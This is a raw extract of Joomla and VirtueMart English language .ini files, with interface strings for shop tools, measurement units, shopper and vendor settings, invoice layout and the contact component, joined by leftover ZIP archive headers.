        " COM_VIRTUEMART_TOOLS_RESTHUMB="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_CONF="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_TIP="Usually you need this only when you changed the automatically resized thumbnail size, or for shops installed originally with a version lower than 2.0.22. This command deletes all resized folders and create them new. During the process the automatically thumbnail creation is deactivated. Also all entries of the thumbnail urls are deleted. The reason is that we do not store anylonger the default." COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Sync Joomla
        Users" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Uploads your media to the paths:
        Media product url: %s
        Media category url: %s
        Media manufacturer url: %s

        You can change these urls in the config settings.

        " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="To set the parent category" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="To set the parent category view" COM_VIRTUEMART_TO_SET_PRODUCT="To set the product" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_TRANSLATIONS="Translations" COM_VIRTUEMART_TYPE="Type" COM_VIRTUEMART_TYPES="Types" COM_VIRTUEMART_UNCATEGORIZED="--Uncategorised--" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
        To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Unpublish" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNWRITABLE="Unwriteable" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_UPDATEDATABASE="Install or if necessary update tables" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Install/update tables?" COM_VIRTUEMART_UPDATE_ALL="everything" COM_VIRTUEMART_UPDATE_ATTR="Product Attributes (use after you migrated the products)" COM_VIRTUEMART_UPDATE_ATTR_2="The product attributes are the ones from the field Attribute list in the Product Status tab.
        Note:
        When the price are with a + or - sign, they are migrated.
        When the price starts with =, it is set to 0 in the product custom field. A message will be displayed indicating which attribute price was set to 0." COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Check now!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Download Update" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Latest VirtueMart Version" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="VirtueMart Version installed here" COM_VIRTUEMART_UPDATE_GENERAL="general (media, categories, manufacturers, etc, ...)" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="This will install the sample VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_MIGRATION="Updating & Data migration" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Server settings of max execution time" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Memory limit of the server" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Choose a task for migration" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Start to migrate %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Data migration from VirtueMart 1.1.x to VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

        Warning

        Please use those tools only if you understand what you are doing. The tool install or if necessary updat tables is usually safe to use. It does the same as the update procedure. The other commands can break your shop or remove all user data completly. This tools are done for developers.
        Except the delete all data is also meant for people who want completly uninstall the shop and delete all database data. Please use with caution. When using in a broken live shop make an export of your database first. Disable your joomla debug, it can create trouble for nothing, use the vmdebug option instead." COM_VIRTUEMART_UPDATE_NONEWVERSION="You are running the latest VirtueMart version" COM_VIRTUEMART_UPDATE_ORDERS="orders only" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Apply Patch now" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="I have read the Warning and I'm sure to apply the Patch Package to my VirtueMart Installation now." COM_VIRTUEMART_UPDATE_PATCH_DATE="Release Date" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Description" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Patch Details" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Not all files/directories which need to be updated are writable. Please correct the permissions first." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Files to be updated" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Please mark the checkbox before you apply the Patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Queries to be executed on the Database" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="File/Directory not writable" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Writable" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="Synchronized %1$s media for %2$s in directory %3$s " COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Synchronized alltogether %1$s files" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="The synchronisation is not finished, please execute again" COM_VIRTUEMART_UPDATE_PRODUCTS="products only" COM_VIRTUEMART_UPDATE_REL="Migrate related products into vm2 (beta, try after you migrated the products)" COM_VIRTUEMART_UPDATE_REMOVEDATA="Remove
        VirtueMart Data" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="This will remove all VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Remove
        VirtueMart Tables" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="This will remove all VirtueMart tables leaving VirtueMart unusable. Are you sure?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS=" Restore
        System Defaults" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="This will restore your settings to the defaults. Are you sure?" COM_VIRTUEMART_UPDATE_STATUS="Update Order Status" COM_VIRTUEMART_UPDATE_TOOLS_TAB="DB Tools" COM_VIRTUEMART_UPDATE_USERS="users only" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Update VM plugin tables" COM_VIRTUEMART_UPDATE_WARNING_TEXT="Installing an Update for VirtueMart using a Patch Package can cause damage on your site if you have already modified some files of the VirtueMart component. The Patching Process will overwrite all the files listed below - it won't just apply smaller changes (diff), but replace the existing file with the new one. If you have modified VirtueMart files on your own, this can lead to inconsistent files and missing class/function dependencies." COM_VIRTUEMART_UPDATE_WARNING_TITLE="General Warning" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="The Update was SUCCESSFUL" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="File with same name already exist" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Hello %s, Thank you for registering at %s. You may now login to %s using the username and password you registered with." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Hello %s, Thank you for registering at %s. Your account is created and must be activated before you can use it. To activate the account click on the following link or copy-paste it in your browser" COM_VIRTUEMART_USER="Shopper " COM_VIRTUEMART_USERFIELD="Shopper Field" COM_VIRTUEMART_USERFIELDS="Userfield" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Add a Value" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Use the table below to add new values." COM_VIRTUEMART_USERFIELDS_COLUMNS="Columns" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Description, field-tip" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertext and URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Max Length" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Extra plugin parameters" COM_VIRTUEMART_USERFIELDS_READONLY="Read-Only" COM_VIRTUEMART_USERFIELDS_ROWS="Rows" COM_VIRTUEMART_USERFIELDS_SIZE="Field Size" COM_VIRTUEMART_USERFIELDS_URL_ONLY="URL only" COM_VIRTUEMART_USERFIELD_DETAILS="Shopper Field Details" COM_VIRTUEMART_USERFIELD_S="Shopper Fields" COM_VIRTUEMART_USERGROUPS_ADD="Add / Edit a User Group" COM_VIRTUEMART_USERGROUPS_LEVEL="User Group Level" COM_VIRTUEMART_USERGROUPS_LIST=" User Group List" COM_VIRTUEMART_USERGROUPS_LIST_NAME="User Group Name" COM_VIRTUEMART_USERGROUP_DETAILS="Usergroup Details" COM_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USERS="Users" COM_VIRTUEMART_USERS_SYNCRONIZED="Users Synchronized!" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Displays the User Edit Address" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="User Edit Address" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="You cannot delete this user as it is the only active Super Administrator for your site." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="You cannot change this users group as the user is the only active Super Administrator for your site." COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add Address" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To Information" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Change Contact Details" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Please fill out the required fields!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Please fill out the required fields, you may take a look on the tab %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register Date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Shipment Addresses" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" COM_VIRTUEMART_USER_ISNOTVENDOR="Not a vendor" COM_VIRTUEMART_USER_ISVENDOR="Is a vendor" COM_VIRTUEMART_USER_IS_VENDOR="Vendor?" COM_VIRTUEMART_USER_LIST_LBL="Shopper List" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No Shipment Addresses." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="User registration is disabled, it must be enabled in order to proceed." COM_VIRTUEMART_USER_S="Shoppers" COM_VIRTUEMART_USER_SAVED="Shopper saved" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="User %s has an incomplete profile" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Shopper Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_VALUE="Value" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Values are required for this type." COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDORLETTER="Invoices" COM_VIRTUEMART_VENDORLETTER_DESC="Here you can configure the look of invoices, delivery notes etc. You can take a look at a preview page (after saving the changes) HERE." COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Select a vendor" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VENDOR_IMAGE="Vendor image" COM_VIRTUEMART_VENDOR_LETTER_A4="A4" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS="Append Terms of Service" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK="Pagebreak before Terms" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK_TIP="If the TOS are appended to the invoices, insert a page break before the TOS." COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_TIP="If checked, the Terms of Service will be appended (optionally after a line break) to all invoices, e.g. to fulfill a legal requirement." COM_VIRTUEMART_VENDOR_LETTER_CSS="CSS Styles for the Document" COM_VIRTUEMART_VENDOR_LETTER_FONT="Default Font" COM_VIRTUEMART_VENDOR_LETTER_FONTS="Appearance" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE="Contents Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_FOOTER="Footer Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_HEADER="Header Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_TIP="PDF invoices will be produced with the selected font as default font. Selecting a UTF-8 Unicode Font will increase the size of the invoices and the size of the pdf produced in product details view PDF, but it will also support Greek, Cyrillic, etc." COM_VIRTUEMART_VENDOR_LETTER_FOOT="Letter Foot" COM_VIRTUEMART_VENDOR_LETTER_FOOTER="Display footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_CELL_RATIO="Footer cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_COLOR="Background color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE="Line above footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_REPEAT="Repeat on subsequent pages" COM_VIRTUEMART_VENDOR_LETTER_FORMAT="Page Format" COM_VIRTUEMART_VENDOR_LETTER_HEAD="Letter Head" COM_VIRTUEMART_VENDOR_LETTER_HEADER="Display header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_CELL_RATIO="Header cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGE="Include Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGESIZE="Size of Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE="Line below header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_LETTER="Letter" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_BOTTOM="Contents Bottom Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_FOOTER="Footer Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_HEADER="Header Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_LEFT="Left Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_RIGHT="Right Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_TOP="Contents Top Margin" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION="Orientation" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE="Landscape" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT="Portrait" COM_VIRTUEMART_VENDOR_LETTER_PAGE="Page Geometry" COM_VIRTUEMART_VENDOR_LETTER_REPLACEMENTS_DESC="In the letter headers and footers, you can use the following placeholders to display non-fixed text: {vm:pagenum}, {vm:pagecount}, {vm:vendorname}, {vm:vendorimage}, {vm:vendoraddress}, {vm:vendorlegalinfo}, {vm:vendordescription}, {vm:tos}." COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="View vendor TOS" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="View vendor TOS" COM_VIRTUEMART_VERSIONCHECK_TITLE="VirtueMart Version Check" COM_VIRTUEMART_VIEW="View" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Order id" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_VIRTUEMART_USER_ID="user id" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visible for Shopper" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visible for vendor" COM_VIRTUEMART_VOTE_JED="Vote and Rate at JED" COM_VIRTUEMART_VOTE_JED_DESC="If you use VirtueMart, please post a rating and a review at the Joomla! Extensions Directory." COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="You must enter a product id." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Please select a waiting list id to delete." COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="You are already being notified of this product." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="You must enter an email address to be on the waiting list." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Please provide a valid email address." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="You must enter a product to be on the waiting list." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Warning, the %1$s is empty, for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE="The path for invoices seems to miss the correct file permissions %1$s" COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE="The %1$s is not writeable. Please ensure that you have the correct file permissions and directory settings" COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Sorry, was not able to create directory for invoices in the %1$s, please create there manually the folder 'invoices'" COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Warning, the %1$s is not accessible (does not exist or no permission), for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WEEK="Week" COM_VIRTUEMART_WEEKS="Weeks" COM_VIRTUEMART_WEEK_S="Weeks" COM_VIRTUEMART_WORLDZONE="Zone" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Children" COM_VIRTUEMART_YEAR="Year" COM_VIRTUEMART_YEAR_S="Years" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_VERSION="Your Version" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Current Zone" ; already added for vm2.1 COM_VIRTUEMART_CUSTOM_IS_CART_INPUT="Cart Input" COM_VIRTUEMART_CUSTOM_OVERRIDE="Override for %s" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_CART="Show in cart form" ;ACL settings COM_VIRTUEMART_CALC_EDIT="Edit Taxes and Calculation Rules" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_EDIT="Edit Custom Fields" COM_VIRTUEMART_SHOPPERGROUP_EDIT="Edit Shopper Groups" COM_VIRTUEMART_USERS_EDIT="Edit users"PK@y>\?*??)language/en-GB/en-GB.plg_system_cache.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_FIELD_BROWSERCACHE_DESC="If yes, use mechanism for storing page cache in the browser" PLG_CACHE_FIELD_BROWSERCACHE_LABEL="Use Browser Caching" PLG_CACHE_FIELD_LIFETIME_DESC="Page cache lifetime in minutes" PLG_CACHE_FIELD_LIFETIME_LABEL="Cache Lifetime" PLG_CACHE_XML_DESCRIPTION="Provides page caching" PLG_SYSTEM_CACHE="System - Cache"PK@y>\tH M M$language/en-GB/en-GB.com_contact.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Contacts" COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL="Contact Display Options" COM_CONTACT_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_CONTACT_BATCH_OPTIONS="Batch process the selected contacts" COM_CONTACT_BATCH_TIP="If choosing to copy a contact, any other actions selected will be applied to the copied contact. Otherwise, all actions are applied to the selected contact." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of contact categories within a category." COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="This view lists the contacts in a category." COM_CONTACT_CHANGE_CONTACT="Change Contact" COM_CONTACT_CHANGE_CONTACT_BUTTON="Change Contact" COM_CONTACT_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Contact Component will integrate with other extensions." COM_CONTACT_CONFIGURATION="Contact Manager Options" COM_CONTACT_CONTACT_DETAILS="Contact Details" COM_CONTACT_CONTACT_DISPLAY_DETAILS="Display options for the individual contact page." COM_CONTACT_CONTACT_SETTINGS_LABEL="Contact Options" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="This links to the contact information for one contact." COM_CONTACT_DETAILS="Contact Information" COM_CONTACT_EDIT_CONTACT="Edit Contact" COM_CONTACT_EDIT_DETAILS="Edit contact information displayed on an individual page." COM_CONTACT_ERROR_UNIQUE_ALIAS="Another Contact from this category has the same alias" COM_CONTACT_FIELD_ARTICLES_COMMENTS_DESC="Allow comments for the articles written by the contact" COM_CONTACT_FIELD_ARTICLES_COMMENTS_LABEL="Comments" COM_CONTACT_FIELD_ARTICLES_RATINGS_DESC="Allow articles ratings for the contact" COM_CONTACT_FIELD_ARTICLES_RATINGS_LABEL="Articles ratings" COM_CONTACT_FIELD_ARTICLES_SHOW_DESC="If this contact is mapped to a user, and if this is set to Show, then a list of articles created by this user will show." COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL="Show User Articles" COM_CONTACT_FIELD_BREADCRUMBS_DESC="Show/Hide Category Breadcrumbs" COM_CONTACT_FIELD_BREADCRUMBS_LABEL="Show Category Breadcrumbs" COM_CONTACT_FIELD_CAPTCHA_DESC="Select the captcha plugin that will be used in the contact form. You may need to enter required information for your captcha plugin in the Plugin Manager.
        If 'Use Default' is selected, make sure a captcha plugin is selected in Global Configuration." COM_CONTACT_FIELD_CAPTCHA_LABEL="Allow Captcha on Contact" COM_CONTACT_FIELD_CATEGORIES_DESC="Displays a list of contact categories within a category." COM_CONTACT_FIELD_CATEGORIES_LABEL="Choose a parent category" COM_CONTACT_FIELD_CATEGORY_DESC="Select a contact category to display" COM_CONTACT_FIELD_CATEGORY_LABEL="Select a category" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_DESC="Allow vCard to be displayed" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_LABEL="Allow vCard" COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_DESC="Email addresses not allowed to submit contact form." COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_LABEL="Banned Email" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_DESC="Subjects not allowed in contact form" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_LABEL="Banned Subject" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_DESC="Text not allowed in contact form body" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_LABEL="Banned Text" COM_CONTACT_FIELD_CONFIG_CATEGORIES_DESC="These settings apply for Contact Categories Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_CATEGORY_DESC="These settings apply for Contact Category Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_CONTACT_FORM="Form" COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC="Show/Hide a Country column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL="Country" COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC="Turns off the automated reply, allowing for Plugins to handle integration with other systems." COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL="Custom Reply" COM_CONTACT_FIELD_CONFIG_EMAIL_DESC="Show/Hide an Email column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_FAX_DESC="Show/Hide a Fax column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_FAX_LABEL="Fax" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC="These settings apply for single Contact unless they are changed for a specific menu item or Contact" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DISPLAY="Contact" COM_CONTACT_FIELD_CONFIG_MOBILE_DESC="Show/Hide show a Mobile column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL="Mobile" COM_CONTACT_FIELD_CONFIG_PHONE_DESC="Show/Hide a Phone column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_PHONE_LABEL="Phone" COM_CONTACT_FIELD_CONFIG_POSITION_DESC="Show/Hide a Position column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_POSITION_LABEL="Position" COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC="Enter an alternative URL where the user will be redirected to after mail is sent." COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL="Contact Redirect" COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC="Check for the existence of session cookie. This means that users without cookies enabled will not be able to send emails." COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL="Session Check" COM_CONTACT_FIELD_CONFIG_STATE_LABEL="State or County" COM_CONTACT_FIELD_CONFIG_STATE_DESC="Show/Hide a State or County column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_SUBURB_DESC="Show/Hide a City or Suburb column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_CONFIG_TABLE_OF_CONTACTS_DESC="These settings apply for Contact List Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_VCARD_DESC="Show/Hide a vCard column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_VCARD_LABEL="vCard" COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC="If "Hide", the Contact Category will not show. If "Show Without Link", Category will show as text. If "Show With Link", Category will show as a link to a Single Category Menu Item." COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL="Contact Category" COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC="If Show, the user will be able to change which contact is shown by selecting a contact from a drop-down list of all contacts in the current contact category." COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL="Show Contact List" COM_CONTACT_FIELD_CREATED_BY_ALIAS_DESC="You can enter here an alias to be displayed instead of the name of the user who created the contact." COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL="Created By Alias" COM_CONTACT_FIELD_CREATED_BY_DESC="You can change here the name of the user who created the contact." COM_CONTACT_FIELD_CREATED_DESC="Date contact was created." COM_CONTACT_FIELD_CREATED_LABEL="Created date" COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_DESC="Email addresses not 